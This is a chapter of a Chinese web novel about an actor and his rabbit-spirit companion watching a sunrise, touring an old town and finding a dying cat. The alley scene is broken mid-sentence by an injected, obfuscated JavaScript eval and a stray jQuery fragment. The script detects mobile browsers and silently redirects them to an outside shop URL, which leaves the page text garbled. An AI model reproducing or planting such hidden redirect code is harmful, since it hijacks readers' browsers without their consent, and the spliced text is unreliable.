文趣网 > 其他小说 > 兔兔那么可爱[娱乐圈] > 14. 第十四章
    第二天天还没亮,容彦的生物钟就到了。

    他轻手轻脚地洗漱完,把还在呼呼大睡的汐桐从枕头上捞起来,塞进外套口袋里。

    汐桐迷迷糊糊地“咕”了一声,耳朵都没来得及竖起来,就重新缩成一团,在温暖的口袋里继续睡。

    驱车上山的时候,天色还是灰蒙蒙的。

    盘山公路弯弯绕绕,路两边是浓密的竹林,晨雾还没散,薄薄地笼在山腰上,像一层轻纱。

    容彦把车窗摇下来一条缝,清凉的空气灌进来,带着竹叶和泥土的清香。他深吸一口气,觉得整个人都醒了。

    开到半山腰的观景台,他停了车。

    这里视野很好,可以俯瞰整个古镇和远处连绵的山峦。

    天边已经泛起鱼肚白,云层被染上一层淡淡的橘粉色,像画家在画布上轻轻抹了一笔。

    容彦靠在栏杆上,把汐桐从口袋里掏出来。

    汐桐被他捧在手心,整只兔还是懵的,耳朵歪歪扭扭地竖着,眼睛半睁半闭,嘴巴边上还挂着一小撮被她自己压扁的绒毛。

    容彦看着她那副没睡醒的样子,忍不住笑了,用指腹轻轻揉了揉她的脑袋。

    “乐乐,看日出。”

    汐桐勉为其难地睁开眼,顺着容彦的目光看向天边。橘粉色的光一点点扩散开来,云层像被点燃了一样,从淡粉变成绯红,又从绯红变成金灿灿的一片。

    太阳从山的那一边慢慢探出头来,先是小半个弧,然后是一半,最后整个跃出地平线,光芒万丈地铺满了整片天空。

    山间的雾气被阳光穿透,变成一片流动的金色。

    汐桐愣住了。

    她活了那么多年,见过无数次日升月落,兔妖族的日出比这里壮丽十倍。

    但此刻,她蹲在一个凡人的掌心里,被他的体温包裹着,看着眼前的金光一点点染亮他的侧脸,他的眼睛里映着日出的光,亮得像碎了一地的星星。

    她的心跳声忽然大得有点过分。

    “好看吗?”容彦低头看她,嘴角弯弯的。

    汐桐迅速把脸转开,耳朵绷得笔直,“咕”了一声,好像在说“还行吧,勉强能看。”

    容彦被她的举动逗笑出了声。

    他把汐桐举高了一点,让她看得更远。

    山风从谷底吹上来,吹得他头发乱了,也吹得汐桐满身的毛往一边倒。

    一人一兔就那样站在观景台上,安安静静地看完了整场日出。

    下山的时候太阳已经升高了,古镇从晨光中苏醒过来,石板路上开始有了人影。

    容彦在路边的小摊上买了两个刚出笼的鲜花饼,一个自己吃,一个掰成小块小块的喂汐桐。

    汐桐一开始还端着,用爪子把鲜花饼拨到一边,表示“本妖不吃这种东西”。

    但那股玫瑰花的甜香一个劲地往鼻子里钻,她忍了又忍,最后还是趁容彦转头看路的时候,飞快地叼了一块塞进嘴里。

    酥皮在嘴里化开,玫瑰馅甜而不腻,还带着一股淡淡的花香。

    汐桐眯了眯眼。

    “……”

    再吃一块应该不会被发现吧。

    容彦表面没看她,其实注意力一直在她身上,自从她上次去了医院回来之后,他就发现汐桐有些不同。

    家里莫名其妙少的零食水果,结合那天医生连药都没开的行为,他就猜到这个兔子可能与众不同,食谱应该比普通的兔子光得多。

    容彦不介意,只要对身体没伤害,吃点也没什么。

    上午的阳光很好,容彦没有开车,而是抱着汐桐在古镇里慢慢逛。

    他们走过石拱桥,桥下的水清澈见底,几条锦鲤在水草间懒洋洋地游着。他们穿过一条挂满油纸伞的小巷,风一吹,伞面上的水墨画轻轻晃动,像活了一样。

    他们在一家卖陶器的店门口停下来,容彦看中了一只小小的兔子形状的茶杯,杯身上手绘了一丛青竹,杯底卧着一只憨态可掬的小兔子。

    他二话没说就买了,把汐桐放在杯子里比了比,大小刚好够她蜷在里面打盹。

    “太可爱了。”容彦举着杯子看了又看,眼睛里有种藏不住的欢喜。

    汐桐蹲在杯子里,耳朵贴着杯壁,表情很嫌弃,但尾巴尖在轻轻摇。店家是个头发花白的老爷爷,笑眯眯地看着他们,说了一句:“小伙子,你养的这只兔子很有灵性啊。”

    容彦笑了一下,没说话,低头看了一眼正用后腿挠耳朵的汐桐。

    后者完全没在维持“有灵性”的形象。

    逛到古镇西边的时候,游客渐渐少了,石板路也变得窄了起来。

    两侧的房子更加老旧,墙皮斑驳,瓦片上长着青苔,有些门锁都生了锈,看起来很久没有人住。

    容彦本来是打算往回走的,但汐桐忽然从他怀里探出头来,耳朵猛地竖起来,朝向一条窄窄的巷子深处。

    她的瞳孔骤然缩紧了。

    容彦感觉到了她的异样,低头问:“怎么了?”

    汐桐没有回答。她死死地盯着那条巷子,浑身的毛慢慢竖了起来,不是炸毛,是一种更深的、更沉的本能反应,像有什么东西在召唤她,又像有什么东西在警告她。

    容彦犹豫了一下,还是顺着她的目光走了过去。

    巷子很窄,只容一个人通过,两侧是高墙,把阳光挡得严严实实,空气里弥漫着一股潮湿的霉味

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605486|205402||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    和说不清道不明的腐朽气息。

    走到巷子尽头,是一扇半掩的木门,门上的红漆剥落了大半,露出底下灰黑色的木头。

    门缝里透出一股淡淡的灵气,不是正常的灵力波动,而是一种被抽干之后残留的、像死水一样的、让人本能地想要远离的气息。

    容彦不知道什么是灵气,自然感受不到灵气,但他感觉到了冷。

    明明是夏天,这条巷子里却冷得像深秋,那种冷不是温度下降的冷,而是从骨子里往外渗的、让人汗毛倒竖的寒意。

    他正犹豫要不要推门,门忽然从里面晃了一下。

    一只猫从门缝里跌了出来。

    不对。

    不是“跌”,是滚,像一团被揉皱的旧抹布,软塌塌地从门槛上翻下来,趴在地上一动不动。

    那是一只橘猫。很小,应该只有几个月大,但瘦得皮包骨头,肋骨一根根地凸出来,皮毛暗淡得没有一点光泽,像一件被洗了太多次、褪色到灰白的旧衣裳。

    它蜷缩在地上,肚子几乎没有起伏,眼睛半睁着,瞳孔浑浊得像蒙了一层灰。胡须断了好几根,露出光秃秃的皮肤,爪子的指甲又长又脆,像一碰就会碎掉的薄冰。

    容彦蹲下来,伸手想摸它。指尖刚触到它的背,他的手指像被什么东西刺了一下,不是电,是一种更深层的、说不清的震颤,像有人在他身体里轻轻拨了一根弦。

    那只橘猫感受到了什么,微微抬起头,浑浊的眼睛看向容彦。

    它的嘴巴动了动,没有声音,但那口型像是在说一个字。

    救。

    然后它的头就软了下去,眼睛还睁着,但瞳孔扩散了。

    容彦的手僵在半空中,心跳声大到几乎能听见。他的脑海里有什么东西在嗡嗡作响,像一根绷得太紧的琴弦,随时都会断。

    他低头看着掌心下那只已经没有生命迹象的小猫,手指在微微发抖。

    不是害怕。

    是有什么东西从那只猫的身体里,顺着他的指尖,涌进了他的血管。

    不是灵力,不是记忆,是一种更原始的、更本能的东西。

    是那只猫最后的、没有被抽走的、一丝丝的求生欲。

    它把自己最后的一点东西,交给了这个能让它感受到一丝温暖的人。

    容彦不知道自己为什么能感受到这些,他甚至不确定自己是不是在发疯。但他的眼眶红了,胸口像被什么东西狠狠撞了一下,又酸又胀。

    汐桐从容彦怀里跳出来,落在那只橘猫旁边。

    她伸出小爪子,轻轻碰了碰橘猫的耳朵,然后收回爪子,红棕色的眼睛里有什么东西碎了。

    她认识这只猫。